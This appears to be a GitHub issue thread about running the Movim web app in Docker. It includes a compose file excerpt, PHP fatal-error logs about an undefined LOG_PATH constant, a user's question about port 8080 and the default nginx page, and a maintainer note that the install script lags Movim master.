- ${PWD}/movim:/var/www/html:ro
- ${PWD}/nginx:/etc/nginx/conf.d:ro
postgresql:
environment:
POSTGRES_DB: movim
POSTGRES_PASSWORD: <password>
POSTGRES_USER: movim
image: postgres:15-alpine
volumes:
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
version: '3.8'
Applicable logs:
movim-movim-1 | Phinx by CakePHP - https://phinx.org.
movim-movim-1 |
movim-movim-1 | using config file phinx.php
movim-movim-1 |
movim-movim-1 | Fatal error: Uncaught Error: Undefined constant "LOG_PATH" in /var/www/html/app/helpers/UtilsHelper.php:19
movim-movim-1 | Stack trace:
movim-movim-1 | #0 /var/www/html/src/Movim/Bootstrap.php(307): Utils::error('Error: Undefine...')
movim-movim-1 | #1 /var/www/html/src/Movim/Bootstrap.php(320): Movim\Bootstrap->systemErrorHandler(1, 'Error: Undefine...', '/var/www/html/a...', 19, '#0 /var/www/htm...')
movim-movim-1 | #2 [internal function]: Movim\Bootstrap->exceptionHandler(Object(Error))
movim-movim-1 | #3 {main}
movim-movim-1 | thrown in /var/www/html/app/helpers/UtilsHelper.php on line 19
movim-movim-1 |
movim-movim-1 | Fatal error: Uncaught Error: Undefined constant "LOG_PATH" in /var/www/html/app/helpers/UtilsHelper.php:19
movim-movim-1 | Stack trace:
movim-movim-1 | #0 /var/www/html/src/Movim/Bootstrap.php(307): Utils::error('Uncaught Error:...')
movim-movim-1 | #1 /var/www/html/src/Movim/Bootstrap.php(332): Movim\Bootstrap->systemErrorHandler(1, 'Uncaught Error:...', '/var/www/html/a...', 19)
movim-movim-1 | #2 [internal function]: Movim\Bootstrap->fatalErrorShutdownHandler()
movim-movim-1 | #3 {main}
movim-movim-1 | thrown in /var/www/html/app/helpers/UtilsHelper.php on line 19
Hi,
This is my config :
So, in the stack.yml, I've set the DATABASE HOST with the docker.host IP (docker.host.internal did not work/was not interpreted, so I had to find and use the IP of docker interface and then it worked).
Anyway, this part worked (db tables installed in the docker.host database).
But then, I had a problem with the MOVIM_PORT (I've let the 8080 port), I'm not sure of the expected behaviour :
=> Once I ran the containers, I was able to access to http://.com:80 but the problem was that it did print the Nginx Default Page ... and not Movim.
=> Also, when I set port 80 in MOVIM_PORT conf, it returns me a permission denied.
How could this work ( <=> Why MOVIM_PORT is set on 8080 and Why :80 nginx port does not print /var/www/html MOVIM but a default nginx page ?) And what can I do ?
PS : I'm not very comfortable with english and dev-ops, sorry for that.
Thank you
Since master uses current movim master but the install script isn't adapted, the movim container fails in initialisation. First with the wrong command mud.php
that has been merged with daemon.php
and after fixing this, the missing database migrations ending in the error reported in #9.
Reminder to myself to refactor the Dockerfile to use an Alpine base image when I have some free time on a rainy day. ☔
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.